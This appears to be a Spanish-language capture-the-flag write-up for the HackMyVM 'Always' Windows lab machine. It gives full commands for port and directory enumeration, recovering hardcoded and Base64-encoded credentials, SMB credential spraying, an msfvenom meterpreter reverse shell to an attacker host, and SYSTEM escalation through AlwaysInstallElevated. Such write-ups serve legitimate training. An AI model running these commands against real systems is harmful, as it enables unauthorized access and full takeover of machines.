cd ~/blog

~/writeups/hmv/136-always.md

136 - Always

easy Windows hmvautor: Jordy Pérez Osorio aviso legal
Client-Side Credential DisclosureBase64-Encoded Credential DisclosureAlwaysInstallElevated Privilege Escalation
hackmyvm.eu/machines/machine.php?vm=Always

~1 min de lectura


Enumeración y exposición de credenciales

Enumeramos puertos (Windows 7):

❯ nmap -sCV -p 21,135,139,445,3389,5357,8080,... -oN 02-targeted.txt 10.214.65.189
...
21/tcp    open  ftp           Microsoft ftpd
445/tcp   open  microsoft-ds  Windows 7 Professional 7601 SP1
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
8080/tcp  open  http          Apache httpd 2.4.57 ((Win64))
|_http-title: We Are Sorry
...

La enumeración del puerto 8080 descubre /admin. La validación del formulario está implementada en JavaScript del lado del cliente, por lo que el navegador recibe tanto la lógica como las credenciales hardcodeadas. Leer el código fuente permite recuperarlas sin superar un control en el servidor:

❯ gobuster dir -u 'http://10.214.65.189:8080' -w directory-list-2.3-medium.txt -x php,txt,html -r
/index.html   (Status: 200)
/admin        (Status: 200)
if (username === 'admin' && password === 'adminpass123') {
  return true
}

Al iniciar sesión, el panel entrega credenciales FTP codificadas en Base64. Esta codificación cambia su representación, pero no protege el secreto:

❯ echo 'ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=' | base64 -d
ftpuser:KeepGoingBro!!!

El FTP contiene un robots.txt que apunta a una página secreta. Allí aparece otra contraseña codificada en Base64, esta vez asociada al usuario always:

❯ curl http://10.214.65.189:8080/admins-secret-pagexxx.html
...
4) Don't forget to change the password for user 'always'. Current password is "WW91Q2FudEZpbmRNZS4hLiE=".
...

❯ echo 'WW91Q2FudEZpbmRNZS4hLiE=' | base64 -d
YouCantFindMe.!.!

Probamos los pares recuperados contra SMB con NetExec. La salida distingue el intento rechazado de la autenticación correcta de ftpuser:

❯ netexec smb 10.214.65.189 -u users.txt -p passwds.txt
SMB  10.214.65.189  445  ALWAYS-PC  [-] Always-PC\always:KeepGoingBro!!! STATUS_LOGON_FAILURE
SMB  10.214.65.189  445  ALWAYS-PC  [+] Always-PC\ftpuser:KeepGoingBro!!!

Preparación de la sesión local

Con las credenciales de ftpuser iniciamos sesión mediante la interfaz gráfica disponible en el laboratorio. Desde esa sesión transferimos un Meterpreter y configuramos un handler con migración automática para mantener el canal de administración:

❯ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.214.65.50 LPORT=1234 -f exe -o pwned.exe
❯ python3 -m http.server

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.214.65.50
msf6 exploit(multi/handler) > set lport 1234
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(multi/handler) > run
...
meterpreter >

Escalada mediante AlwaysInstallElevated

local_exploit_suggester detecta AlwaysInstallElevated. Esta configuración hace que Windows Installer procese paquetes MSI con privilegios elevados cuando las políticas de usuario y equipo necesarias están activas. Por eso un MSI controlado desde la sesión local puede ejecutar su carga como SYSTEM:

msf6 post(multi/recon/local_exploit_suggester) > run
...
1   exploit/windows/local/always_install_elevated   Yes   The target is vulnerable.
...

Ejecutamos el módulo contra la sesión y verificamos la identidad del shell resultante:

msf6 exploit(windows/local/always_install_elevated) > set session 1
msf6 exploit(windows/local/always_install_elevated) > run
[*] Uploading the MSI to ...
[*] Executing MSI...
...
meterpreter > shell
C:\Windows\system32>whoami
nt authority\system

nt authority\system confirma la escalada.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados